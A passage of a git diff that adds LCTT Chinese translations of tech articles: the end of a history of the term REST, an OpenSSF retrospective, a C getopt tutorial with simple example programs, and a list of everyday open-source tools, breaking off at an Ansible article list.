译注:译自其所著的《重来》的中文版的作者译名)曾经评论:“我们感觉 SOAP 过于复杂了,它已经被企业人员接管。而当这一切发生的时候,通常没有什么好结果。”[^7] 始于这一标志性的评论,Ruby-on-Rails 于 2007 年放弃了对 SOAP 的支持。“企业人员”总是希望所有内容都被正式指定,反对者认为这是浪费时间。 + +如果反对者不再继续使用 SOAP,他们仍然需要一些标准化的方式来进行工作。由于所有人都在使用 HTTP,而且代理与缓存的所有支持,每个人都至少会继续使用 HTTP 作为传输层,因此最简单的解决方案就是依赖 HTTP 的现有语义。这正是他们所做的工作。他们曾经称之为:去它的,重载 HTTPFuck It, Overload HTTP(FIOH)。这会是一个准确的名称,任何曾经试图决定业务逻辑错误需要返回什么 HTTP 状态码的人都能证明这一点。但是在所有的 SOAP 正式规范工作的映衬下,这显得鲁莽而乏味。 + +幸运的是,出现了这篇由 HTTP/1.1 规范的共同作者创作的博士论文。这篇博士论文与扩展 HTTP 有某种模糊的联系,并给予了 FIOH 一个具有学术体面的外表。因此 REST 非常适合用来掩饰其实仅仅是 FIOH 的东西。 + +我并不是说事情就是这样发生的,也不是说在不敬业的创业者中确实存在着盗用 REST 的阴谋,但是这个故事有助于我理解,在菲尔丁的博士论文根本就不是讨论网络服务 API 的情况下,REST 是如何成为用于网络服务 API 的架构模型的。采用 REST 的约束存在一些效果,尤其是对于那些面向公众的需要跨越组织边界的 API 来说。这些 API 通常会从 REST 的“统一接口”中受益。这应该是 REST 起初在构建网络 API 时被提及的核心原因。但是,想象一下一种叫做 “FIOH” 的独立方法,它借用 “REST” 的名字只是为了营销,这有助于我解释我们今天所知道的 REST 式RESTful API 与菲尔丁最初描述的 REST 的架构风格之间的诸多差异。 + +举例而言,REST 纯粹主义者经常抱怨,那些所谓 RESTful API 实际并不是 REST API,因为它们根本就没有使用 超文本作为应用程序状态引擎Hypermedia as The Engine of Application State(HATEOAS)。菲尔丁本人也做出过 [这样的批评][11]。根据菲尔丁的观点,一个真正的 REST API 应当允许你通过跟随链接实现从一个基础端点访问所有的端点。如果你认为这些人的确在试图构建 RESTful API,那么存在一个明显的疏漏 —— 使用超文本作为应用程序状态引擎(HATEOAS)的确是菲尔丁最初提出的 REST 概念的基础,尤其是考虑到“描述性状态迁移(REST)”中的“状态迁移(ST)”意指使用资源之间的超链接进行状态机的导航(而不是像很多人所相信的那样通过线路传输资源状态)[^8]。但是你试想一下,如果每个人都只是在构建 FIOH 的 API,并明里暗里的将之作为 REST API 宣传,或者更诚实一点说是作为 “RESTful” API 宣传,那么自然使用超文本作为应用程序状态引擎(HATEOAS)也就不重要了。 + +类似的,你可能会感到惊讶:尽管软件开发者喜欢不断地争论使用 `PUT` 方法还是使用 `PATCH` 方法来更新资源更加 RESTful,菲尔丁的博士论文却没有讨论哪个 HTTP 的操作方法应该映射到增删改查(CURD)操作。在 HTTP 操作与 CURD 操作之间建立一个标准的映射表是有用的,但是这一映射表是 FIOH 的一部分而不是 REST 的一部分。 + +这就是为什么,与其说没有人理解 REST,不如说我们应该认为 “REST” 这一术语是被误用了。REST API 这一现代概念与菲尔丁的 REST 架构之间存在历史联系,但事实上它们是两个不同的概念。历史联系适合作为确定何时构建 RESTful API 的指引而留在心底。你的 API 需要像 HTTP 那样跨越组织和政府边界吗?如果是的话,那么构建具有统一的可预测的接口的 RESTful API 可能是正确的方式。如果不是的话,你最好记住,菲尔丁更倾向于形式服从功能。或许类似 GraphQL 的方案或者仅仅 JSON-RPC 更适合你试图完成的工作。 + +[^1]: Roy Fielding. “Architectural Styles and the Design of Network-based Software Architectures,” 128. 2000. University of California, Irvine, PhD Dissertation, accessed June 28, 2020, .  +[^2]: Fielding, 130.  +[^3]: Fielding distinguishes between software architectures and software architecture “styles.” REST is an architectural style that has an instantiation in the architecture of HTTP.  +[^4]: Fielding, 2.  +[^5]: Fielding, 15.  +[^6]: Fielding, 82.  +[^7]: Paul Krill. “Ruby on Rails 2.0 released for Web Apps,” InfoWorld. Dec 7, 2007, accessed June 28, 2020,   +[^8]: Fielding, 109.  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2020/06/28/rest.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: https://news.ycombinator.com/item?id=7201871 +[2]: https://www.ics.uci.edu/~fielding/pubs/dissertation/fielding_dissertation_2up.pdf +[9]: https://www.youtube.com/watch?v=vNoPJqm3DAY +[11]: https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven +[13]: https://twitter.com/TwoBitHistory +[14]: https://twobithistory.org/feed.xml +[15]: https://twitter.com/TwoBitHistory/status/1247187881946275841?ref_src=twsrc%5Etfw +[0]: https://img.linux.net.cn/data/attachment/album/202303/20/154318tpynlzzdi1yhug5h.jpg \ No newline at end of file diff --git a/published/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md b/published/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md new file mode 100644 index 0000000000..2b3c42b461 --- /dev/null +++ b/published/20210128 Open Source Security Foundation (OpenSSF)- Reflection and Future.md @@ -0,0 +1,90 @@ +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15603-1.html) +[#]: subject: (Open Source Security Foundation \(OpenSSF\): Reflection and Future) +[#]: via: (https://www.linux.com/news/open-source-security-foundation-openssf-reflection-and-future/) +[#]: author: (The Linux Foundation https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/) + +开源安全基金会(OpenSSF):回顾和展望 +====== + +![][0] + +[开源安全基金会][1](OpenSSF)正式 [成立于 2020 年 8 月 3 日][2]。本文将讨论 OpenSSF 创立的初衷,它成立之初六个月内的成就,以及它未来的愿景。 + +(LCTT 校注:原文发表于 2 年前, 但时至今日仍然有一些值得了解的信息。) + +全世界都在推行开源软件(OSS)理念,所以开源软件的安全也至关重要。为了提升开源软件的安全性,业界已经做了大量工作,并取得了一些成果。这些成果包括:Linux 基金会的 核心基础设施计划Core Infrastructure Initiative(CII)、GitHub 安全实验室的 开源安全联盟Open Source Security Coalition(OSSC)和由谷歌以及其他公司创立的 联合开源软件计划Joint Open Source Software Initiative(JOSSI)。 + +显然,如果这些成果合为一体,软件行业将发展得更加顺利。这三项成果在 2020 年合并为“旨在促进开源软件安全性的、由各行业巨头主导的跨行业联盟”。 + +OpenSSF 的确受益于这种“跨行业联盟”;它有几十个成员,(按字母顺序)包括 Canonical、 GitHub、谷歌、IBM、英特尔、微软和红帽。联盟的理事会成员还包括安全社区个人代表,这些个人代表是那些不能以企业名义作为联盟成员的个人。该联盟也创造了一些便于人们合作的组织结构:建立一些活跃的工作组,这种工作组确定(并公布)它存在的价值,其中的成员应当就该组织的技术愿景形成一致意见。 + +但是这并不重要,除非它们有实际成果。当时虽然处于早期,它们也确实取得了一些成果。它们发布了: + + * [安全软件开发基础课程][3]:在 edX 平台上有 3 门免费课程,旨在教授软件开发人员软件安全方面的知识。这些课程注重实际操作,任何开发人员都可以较轻松地学习,而不是那些需要耗费大量资源的理论或案例。开发人员也可以付费参加测试,从而获得认证,表明自己掌握了这些课程地内容。 + * [安全评分卡][4]:为开源项目自动生成“安全分数”,帮助用户进行信任、风险和安全方面的决策。 + * [关键性分数][5]:基于一些参数,为开源项目自动生成关键性分数。临界分数可以让人们对世界上最重要的开源项目有更好的理解。 + * [安全度量仪表盘][6]:这是较早时候发布的成果,它结合安全评分卡、CII 最佳实践和其他数据来源,提供与 OSS 项目有关的安全和支持信息的仪表盘。 + * [OpenSSF CVE 基准测试][7]:基准测试由超过 200 个历史上的 JavaScript/TypeScript 漏洞(CVE)的脆弱代码和元数据组成。这将帮助安全团队评估市场上的各种安全工具,使他们能够用真实的代码库(而不是合成的测试代码)确定误报和漏报率。 + * [OWASP 安全知识框架][8]:与 OWASP 的合作成果,它是一个知识库,包含了带检查清单的项目和使用多种编程语言的最佳代码样例。它还提供针对开发者如何使用特定的语言编写安全代码的培训材料,以及用于实际操作的安全实验室。 + * 2020 年自由/开源软件贡献者调查报告:OpenSSF 和 LISH 发布了一份报告,其中详细说明了对开源软件贡献者的调查结果,并以此为依据,研究和确定提高 OSS 安全性和可持续性的方法。一共调查了 1200 名受访者。 + +现有的 [CII 最佳实践徽章][10] 项目已经与 OpenSSF 合并,将继续升级。现在项目有很多中文译者,翻译为斯瓦希里语的工作也在进行中,项目也进行了很多小改进,详细阐明获得徽章的要求。 + +2020 年 11 月举行的 OpenSSF 大会讨论了 OpenSSF 正在进行中的工作。最近,OpenSSF 有这些工作组: + + * 漏洞披露 + * 安全工具 + * 安全最佳实践 + * 对开源项目安全漏洞的识别(重点关注指标仪表盘) + * 对关键项目的保障 + * 数字身份认证 + +除了持续更新已发布的项目,未来可能的工作还包括: + + * 为减少重复工作,在多种技术指标中确定哪些是重复和关联的安全需求。这就是作为领导者与 OWASP 协作开发,也称为 [通用需求枚举][12]Common Requirements Enumeration(CRE)。CRE 旨在使用一种公共主题标识符,将标准和指南的各个部分联系起来,这种公共主题标识符的作用是令标准和方案制定者高效工作,令标准使用者能搜索到需要的信息,从而使双方对网络安全有相同的理解。 + * 建一个网站,提供对安全度量仪表盘的免安装访问。再次强调,这将会提供各种来源(包括安全计分卡和 CII 最佳实践)的数据的简单展示。 + * 开发对关键 OSS 项目的识别功能。哈佛大学和 LF 已经做过一些识别关键 OSS 项目的工作。未来一年内,他们会改进方法,添加新的数据来源,从而更好地进行鉴别工作。 + * 资助一些关键的 OSS 项目,提高它们的安全性。预期将关注那些财力不足的项目,帮助这些项目提升整体性能。 + * 识别和实现已改进和简化的技术,用于数字签名的提交和对身份的校验。 + +跟所有的 Linux 基金会项目一样,OpenSSF 的工作是由其成员决定的。如果你对大家所依赖的 OSS 安全有兴趣,你可以访问 OpenSSF 网站并以某种方式加入它们。参与的最好方式是出席工作组会议——会议每隔一周就举行,而且非常随意。通过合作,我们可以有所作为。欲了解更多信息,可以访问: + +> **[https://openssf.org][1]** + +作者:[David A. Wheeler][13] Linux 基金会开源供应链安全总监 + +[本文][14] 首次发表于 [Linux 基金会网站][15]。 + +-------------------------------------------------------------------------------- + +via: https://www.linux.com/news/open-source-security-foundation-openssf-reflection-and-future/ + +作者:[The Linux Foundation][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/ +[b]: https://github.com/lujun9972 +[1]: https://openssf.org/ +[2]: https://www.linuxfoundation.org/en/press-release/technology-and-enterprise-leaders-combine-efforts-to-improve-open-source-security/ +[3]: https://openssf.org/blog/2020/10/29/announcing-secure-software-development-edx-course-sign-up-today/ +[4]: https://openssf.org/blog/2020/11/06/security-scorecards-for-open-source-projects/ +[5]: https://github.com/ossf/criticality_score +[6]: https://github.com/ossf/Project-Security-Metrics +[7]: https://openssf.org/blog/2020/12/09/introducing-the-openssf-cve-benchmark/ +[8]: https://owasp.org/www-project-security-knowledge-framework/ +[9]: https://www.linuxfoundation.org/en/press-release/new-open-source-contributor-report-from-linux-foundation-and-harvard-identifies-motivations-and-opportunities-for-improving-software-security/ +[10]: https://bestpractices.coreinfrastructure.org/ +[11]: https://openssf.org/blog/2020/11/23/openssf-town-hall-recording-now-available/ +[12]: https://owasp.org/www-project-integration-standards/ +[13]: mailto:dwheeler@linuxfoundation.org +[14]: https://www.linuxfoundation.org/en/blog/openssf-reflection-and-future/ +[15]: https://www.linuxfoundation.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/07/083725e6zk5pc2atq86qt9.jpg \ No newline at end of file diff --git a/published/20210819 Short option parsing using getopt in C.md b/published/20210819 Short option parsing using getopt in C.md new file mode 100644 index 0000000000..f2a253c2b7 --- /dev/null +++ b/published/20210819 Short option parsing using getopt in C.md @@ -0,0 +1,273 @@ +[#]: subject: "Short option parsing using getopt in C" +[#]: via: "https://opensource.com/article/21/8/short-option-parsing-c" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15589-1.html" + +在 C 语言中使用 getopt 解析命令行短选项 +====== + +> 通过使用命令行让用户告诉程序要什么,可以让程序更加灵活。 + +![][0] + +在已经知道要处理什么文件和对文件进行哪些操作的情况下,编写处理文件的 C 语言程序就很容易了。如果将文件名“硬编码”在程序中,或者你的程序只以一种方式来处理文件,那么你的程序总是知道要做什么。 + +但是如果程序每次运行时能够对用户的输入做出反应,可以使程序更灵活。让用户告诉程序要处理什么文件,或者以不同的方式完成任务,要实现这样的功能就需要读取命令行参数。 + +### 读取命令行 + +一个 C 语言程序可以用如下声明开头: + +``` +int main() +``` + +这是启动 C 程序最简单的形式。但如果在圆括号中加入标准参数,你的程序就可以从命令行中读取选项了: + +``` +int main(int argc, char **argv) +``` + +`argc` 表示命令行中的参数个数。它总是一个至少为 1 的数。 + +`argv` 是一个二级指针,它指向一个字符串数组。这个数组中保存的是从命令行接收的各个参数。数组的第一个元素 `*argv[0]` 是程序的名称。`**argv` 数组的其它元素包含剩下的命令行参数。 + +下面我将写一个简单的示例程序,它能够回显通过命令行参数传递给它的选项。它跟 Linux 的 `echo` 命令类似,只不过我们的程序会打印出程序名。同时它还会调用 `puts` 函数将命令行选项按行打印输出。 + +``` +#include + +int +main(int argc, char **argv) +{ + int i; + + printf("argc=%d\n", argc); /* debugging */ + + for (i = 0; i < argc; i++) { + puts(argv[i]); + } + + return 0; +} +``` + +编译此程序,并在运行时提供一些命令行参数,你会看到传入的命令行参数被逐行打印出来: + +``` +$ ./echo this program can read the command line +argc=8 +./echo +this +program +can +read +the +command +line +``` + +这个命令行将程序的 `argc` 置为 8,`**argv` 数组包含 8 个元素:程序名以及用户输入的 7 个单词。由于 C 语言中数组下标从 0 开始,所以这些元素的标号分别是 0 到 7。这也是在 `for` 循环中处理命令行参数时能够用 `i < argc` 作为比较条件的原因。 + +你也可以用这个方式实现自己的 `cat` 或 `cp` 命令。`cat` 命令的基本功能是显示一个或几个文件的内容。下面是一个简化版的`cat` 命令,它从命令行获取文件名: + +``` +#include + +void +copyfile(FILE *in, FILE *out) +{ + int ch; + + while ((ch = fgetc(in)) != EOF) { + fputc(ch, out); + } +} + +int +main(int argc, char **argv) +{ + int i; + FILE *fileptr; + + for (i = 1; i < argc; i++) { + fileptr = fopen(argv[i], "r"); + + if (fileptr != NULL) { + copyfile(fileptr, stdout); + fclose(fileptr); + } + } + + return 0; +} +``` + +这个简化版的 `cat` 命令从命令行读取文件名列表,然后将各个文件的内容逐字符地显示到标准输出上。假定我有一个叫做 `hello.txt` 的文件,其中包含数行文本内容。我能用自己实现的 `cat` 命令将它的内容显示出来: + +``` +$ ./cat hello.txt +Hi there! +This is a sample text file. +``` + +以这个简单程序为出发点,你也可以实现自己版本的其它 Linux 命令。比如 `cp` 命令,它从命令行读取两个文件名:要读取的文件和要写入的文件。 + +### 读取命令行选项 + +通过命令行读取文件名和其它文本固然很棒,但是如果想要程序根据用户给出的选项改变行为呢?比如 Linux 的 `cat` 命令就支持以下命令行选项: + + * `-b` 显示非空行的行号 + * `-E` 在行尾显示 `$` + * `-n` 显示行号 + * `-s` 合并显示空行 + * `-T` 将制表符显示为 `^I` + * `-v` 用 `^x` 和 `M-x` 方式显示非打印字符,换行符和制表符除外 + +这些以一个连字符开头的单字母的选项叫做短选项。通常短选项是分开使用的,就像这样 `cat -E -n`。但是也可以将多个短选项合并,比如 `cat -En`。 + +值得庆幸的是,所有 Linux 和 Unix 系统都包含 `getopt` 库。它提供了一种简单的方式来读取命令行参数。`getopt` 定义在头文件 `unistd.h` 中。你可以在程序中使用 `getopt` 来读取命令行短选项。 + +与其它 Unix 系统不同的是,Linux 上的 `getopt` 总是保证短选项出现在命令行参数的最前面。比如,用户输入的是 `cat -E file -n`。`-E` 在最前面,`-n` 在文件名之后。如果使用 Linux 的 `getopt` 来处理,程序会认为用户输入的是 `cat -E -n file`。这样做可以使处理过程更顺畅,因为 `getopt` 可以解析完所有短选项,剩下的文件名列表可以通过 `**argv` 来统一处理。 + +你可以这样使用 `getopt`: + +``` +#include + +int getopt(int argc, char **argv, char *optstring); +``` + +`optstring` 是由所有合法的选项字符组成的字符串。比如你的程序允许的选项是 `-E` 和 `-n`, 那么 `optstring` 的值就是 `"En"`。 + +通常通过在循环中调用 `getopt` 来解析命令行选项。每次调用时 `getopt` 会返回找到的下一个短选项,如果遇到无法识别的选项则返回 `'?'`。当没有更多短选项时它返回 `-1`,并且设置全局变量 `optind` 的值指向 `**argv` 中所有段选项之后的第一个元素。 + +下面看一个简单的例子。这个演示程序没有实现 `cat` 命令的所有选项,但它只是能够解析命令行。每当发现一个合法的命令行选项,它就打印出相应的提示消息。在你自己的程序中,你可能会根据这些命令行选项执行变量赋值等者其它操作。 + +``` +#include +#include + +int +main(int argc, char **argv) +{ + int i; + int option; + + /* parse short options */ + + while ((option = getopt(argc, argv, "bEnsTv")) != -1) { + switch (option) { + case 'b': + puts("Put line numbers next to non-blank lines"); + break; + case 'E': + puts("Show the ends of lines as $"); + break; + case 'n': + puts("Put line numbers next to all lines"); + break; + case 's': + puts("Suppress printing repeated blank lines"); + break; + case 'T': + puts("Show tabs as ^I"); + break; + case 'v': + puts("Verbose"); + break; + default: /* '?' */ + puts("What's that??"); + } + } + + /* print the rest of the command line */ + + puts("------------------------------"); + + for (i = optind; i < argc; i++) { + puts(argv[i]); + } + + return 0; +} +``` + +假如你把程序编译为 `args`,你可以通过尝试不同的命令行参数组合,来了解程序是怎么解析短选项,以及是怎么将其它的命令行参数留下来的。最简单的例子是将所有的选项都放在最前面,就像这样: + +``` +$ ./args -b -T file1 file2 +Put line numbers next to non-blank lines +Show tabs as ^I +------------------------------ +file1 +file2 +``` + +现在试试将两个短选项合并使用的效果: + +``` +$ ./args -bT file1 file2 +Put line numbers next to non-blank lines +Show tabs as ^I +------------------------------ +file1 +file2 +``` + +如果有必要的话,`getopt`可以对命令行参数进行重排: + +``` +$ ./args -E file1 file2 -T +Show the ends of lines as $ +Show tabs as ^I +------------------------------ +file1 +file2 +``` + +如果用户输入了错误的短选项,`getopt` 会打印一条消息: + +``` +$ ./args -s -an file1 file2 +Suppress printing repeated blank lines +./args: invalid option -- 'a' +What's that?? +Put line numbers next to all lines +------------------------------ +file1 +file2 +``` + +### 下载速查表 + +`getopt` 还有更多的功能。例如,通过设计 `-s string` 或 `-f file` 这样的命令行语法规则,可以让短选项拥有自己的二级选项。你也可以告诉 `getopt` 在遇到无法识别的选项时不显示错误信息。使用 `man 3 getopt` 命令查看 `getopt(3)` 手册可以了解 `getopt` 的更多功能。 + +如果你需要 `getopt()` 和 `getopt_long()`的使用语法和结构上的提示,可以 [下载我制作的速查表][8]。它提供了最小可行代码,并列出了你需要了解的一些全局变量的含义。速查表的一面是 `getopt()` 的用法,另一面是 `getopt_long()`的用法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/short-option-parsing-c + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[toknow-gh](https://github.com/toknow-gh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) +[2]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html +[3]: http://www.opengroup.org/onlinepubs/009695399/functions/puts.html +[4]: http://www.opengroup.org/onlinepubs/009695399/functions/fgetc.html +[5]: http://www.opengroup.org/onlinepubs/009695399/functions/fputc.html +[6]: http://www.opengroup.org/onlinepubs/009695399/functions/fopen.html +[7]: http://www.opengroup.org/onlinepubs/009695399/functions/fclose.html +[8]: https://opensource.com/downloads/c-getopt-cheat-sheet +[0]: https://img.linux.net.cn/data/attachment/album/202303/02/141038srs54y5t4pv3r1ym.jpg \ No newline at end of file diff --git a/published/20211014 9 ways to use open source every day.md b/published/20211014 9 ways to use open source every day.md new file mode 100644 index 0000000000..e47acbba80 --- /dev/null +++ b/published/20211014 9 ways to use open source every day.md @@ -0,0 +1,112 @@ +[#]: subject: "9 ways to use open source every day" +[#]: via: "https://opensource.com/article/21/10/open-source-tools" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15604-1.html" + +每天使用开源的 9 种方法 +====== + +> 你可能会惊奇地发现,那些你每天使用的工具竟是开源的。 + +![][0] + +最近,我受邀介绍网络上可用的免费和开放资源。这次演讲是当地为保持我们社区的正常运转而做出的部分尝试 —— 由我家附近的 圣文德大学St. Bonaventure University [Foster Center][2] 赞助。 我分享的一些资源不是开源的而是免费的,但许多工具是开源的。 + +看到有不少人知道我所提到的工具真的很有趣。很多人并不知道他们每天使用的工具都是开源的,并且他们还可以与他人分享。 + +### 开源浏览器 + +使用网络需要一个好的浏览器,而 [Firefox 是开源的][3],这一点很多在场的人并不清楚。除了是开源,Firefox 还具有强烈的隐私意识,这是许多用户越来越关注的问题。不过,有趣的是,即使是微软的新浏览器也是基于开源 Chromium 项目的。 + +### 开源网络隐私 + +通常,保护你的隐私和改善你的网络体验的另一种方法是使用 uBlock Origin 来阻止广告。根据他们的网站: + +> uBlock Origin 是一个免费、开源、跨平台的内容过滤浏览器扩展——主要旨在以一种高效、用户友好的方法消除隐私侵犯。 + +其代码采用 [GPL v. 3.0][4] 许可证。 + +电子前沿基金会Electronic Frontier Foundation(EFF)还维护 [Privacy Badger][5]———— 这是一个根据 GPL v.3.0 许可的网络浏览器扩展程序。根据他们的 GitHub 存储库,它是: + +> 一个可以自动学习阻止隐形的跟踪器的浏览器扩展程序。Privacy Badger 没有一个要阻止的列表,而是根据它们的行为自动发现跟踪器。 + +除了隐私之外,我的演讲还分享了安全密码的重要性。我的听众了解到了 [Bitwarden][6]。许多人不知道如何生成安全密码、区分不同网站的密码以及如何安全地存储它们。我演示了该软件如何创建密码并使用 Bitwarden 将这些密码存储在云中。我解释了用户如何通过浏览器插件、台式机和笔记本电脑应用程序以及在安卓或 iOS 移动设备上访问这些凭证。 + +### 开源通讯工具 + +本次演讲中,我谈到了通讯工具在我们生活中的无处不在,但同时它本身固有的不安全性。观众不知道 [Signal][7]。我已经使用 Signal 几年了,并经常鼓励其他人将其视为一个安全的消息传递平台。在 Linux、macOS、Windows、[安卓][9] 和 [iOS][10] 上 [安装 Signal][8] 很容易,它提供了出色的 [文档][11] 支持,对不同的操作系统都有着详细的安装说明。Signal 使用你现有的手机号码,只要它可以发送和接收短信和打电话。当你第一次在手机上设置 Signal 时,它会在你的通讯录上搜索同样使用 Signal 的联系人。 + +### 开源办公工具 + +如果不提及我最喜欢的内容创建工具 [LibreOffice][12],那么关于开源工具的介绍是不完整的。尽管它很受欢迎,但还是有许多人并不知道它的存在以及使用它所带来的自由。我每天都用它来写文章。我使用它来做表格而不是 Excel,有时我用它来做演示文稿。你可以在 Linux、macOS 和 Windows 上下载并安装它。LibreOffice 的优点之一是你真正拥有自己的文档,不需要昂贵的程序来访问它们。 + +### 开源博客软件 + +[WordPress][13] 是我最喜欢的博客引擎,你可以通过多种方式使用它,无论是分享你对世界大事的看法、为你的 [学生][14] 提供低成本写作平台,还是在网上为你的 [业务][15] 做宣传。 + +### 开源媒体库 + +在创建内容时,你需要可以轻松合法共享的图片来说明你的作品。[OpenClipart][16] 是我的首选。这里有数以千计的各种流行格式的图片,可以放在你的 LibreOffice 文档和博客文章中。此外,你可以通过 [知识共享][17]Creative Commons 找到你可以分享的图片,并注明适当的出处。知识共享提供的许可,使共享变得更容易。它是版权的延伸,让分享图片变得更容易。但请务必熟悉许可证之间的细微差别。 + +### 开源视频会议 + +疫情改变了会议和聚会的模式。正如 Chris Hermansen [此处][18] 所报告的那样,Jitsi、Big Blue Button 和其他一些软件已经彻底改变了我们互动和学习的方式。 + +### 开源教育资源 + +开放教育资源解放了学习。通过 [OER Commons][19],你可以找到满足你需求的内容,从学前班到研究生和专业学位,它是公开许可的,因此你可以使用它并与他人分享。麻省理工学院(MIT)开放课件提供了麻省理工学院几乎所有的本科生和研究生项目内容,均根据知识共享 [非商业性共享方式][20] 许可提供。[OpenStax][21] 是莱斯大学的一项开放教科书计划,提供经过同行评审的教科书,这些教科书已公开许可并免费提供。 + +### 开源播客工具 + +播客已成为了解最新 [开源新闻][22] 的好方法。你有没有想过做自己的播客?我熟悉一些很棒的开源工具能够帮你实现这一目标。[Audacity][23] 是我最喜欢的录音应用程序。我用它来翻录我的课堂教学、记录访谈和试验音效。它是一个 16 轨音频编辑器,你可以通过多种方式使用它。如果你有话要说或有技能要传授,你应该使用 [Open Broadcaster Software][24](OBS)。 + +### Linux + +最后,向你的朋友介绍 Linux,他们中的许多人仍然不了解 Linux,让他们体验所有现成的免费软件。 + +除了在 [YouTube][25] 上录制和分享的演讲外,我还编制了一份资源链接列表,并在 [GitHub][26] 上分享。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/open-source-tools + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_hardware_purple.png?itok=3NdVoYhl (Tools illustration) +[2]: https://www.sbu.edu/academics/schools-at-sbu/school-of-business/foster-center-for-responsible-leadership/foster-center-events +[3]: https://opensource.com/article/21/9/switch-to-firefox +[4]: https://github.com/gorhill/uBlock +[5]: https://privacybadger.org/ +[6]: https://github.com/bitwarden +[7]: https://opensource.com/article/19/10/secure-private-messaging +[8]: https://signal.org/download/ +[9]: https://play.google.com/store/apps/details?id=org.thoughtcrime.securesms&referrer=utm_source%3DOWS%26utm_medium%3DWeb%26utm_campaign%3DNav +[10]: https://apps.apple.com/us/app/signal-private-messenger/id874139669 +[11]: https://support.signal.org/ +[12]: https://opensource.com/article/21/9/libreoffice-tips +[13]: https://opensource.com/article/18/10/setting-wordpress-raspberry-pi +[14]: https://opensource.com/article/20/4/wordpress-virtual-machine +[15]: https://opensource.com/article/21/3/wordpress-plugins-retail +[16]: https://openclipart.org/ +[17]: https://search.creativecommons.org/ +[18]: https://opensource.com/article/20/5/open-source-video-conferencing +[19]: https://www.oercommons.org/ +[20]: https://ocw.mit.edu/help/faq-cite-ocw-content/ +[21]: https://openstax.org/ +[22]: https://opensource.com/article/19/10/linux-podcasts-Jupiter-Broadcasting +[23]: https://opensource.com/article/20/4/audacity +[24]: https://opensource.com/article/20/4/open-source-live-stream +[25]: https://youtu.be/aUgaYtN_sUU +[26]: https://github.com/donwatkins/Presentations/blob/master/fostercenter.md +[0]: https://img.linux.net.cn/data/attachment/album/202303/07/153419u0nfxeogevozebfv.jpg \ No newline at end of file diff --git a/published/20180712 An introduction to Go arrays and slices.md b/published/202206/20180712 An introduction to Go arrays and slices.md similarity index 100% rename from published/20180712 An introduction to Go arrays and slices.md rename to published/202206/20180712 An introduction to Go arrays and slices.md diff --git a/published/20190131 OOP Before OOP with Simula.md b/published/202206/20190131 OOP Before OOP with Simula.md similarity index 100% rename from published/20190131 OOP Before OOP with Simula.md rename to published/202206/20190131 OOP Before OOP with Simula.md diff --git a/published/202206/20210104 10 ways Ansible is for everyone.md b/published/202206/20210104 10 ways Ansible is for everyone.md new file mode 100644 index 0000000000..a47695f268 --- /dev/null +++ b/published/202206/20210104 10 ways Ansible is for everyone.md @@ -0,0 +1,75 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14739-1.html) +[#]: subject: (10 ways Ansible is for everyone) +[#]: via: (https://opensource.com/article/21/1/ansible) +[#]: author: (James Farrell https://opensource.com/users/jamesf) + +分享 10 篇 Ansible 文章 +====== + +> 通过这些 Ansible 文章扩展你的知识和技能。 + +![](https://img.linux.net.cn/data/attachment/album/202206/21/111840akw4bjd13dh8ayky.jpg) + +我希望能够激发刚刚接触 Ansible 的初学者的兴趣。这里有一系列总结文章,我已将其包括在内,以供你随意后续查阅。 + +### 适合初学者的 Ansible + +这五篇文章对于 Ansible 新手来说是一个非常好的起点。前三篇文章由 Seth Kenlon 撰写。 + + * 如果你不了解 Ansible ,[现在可以做这 7 件事][2] 来入手。这是很好的入门指导,它收集了用于管理硬件、云、容器等的链接。 + * 在 《[编排与自动化有何区别?][3]》 这篇文章中,你会学到一些术语和技术路线,将会激发你对 Ansible 感兴趣。 + * 文章 《[如何用 Ansible 安装软件][4]》 覆盖了一些脚本概念和一些 Ansible 的好惯例,给出了一些本地或远程管理软件包的案例。 + * 在 [我编写 Ansible 剧本时学到的 3 个教训][5] 中,使自己养成 Jeff Geerling 所传授的好习惯,他是一位真正的 Ansible 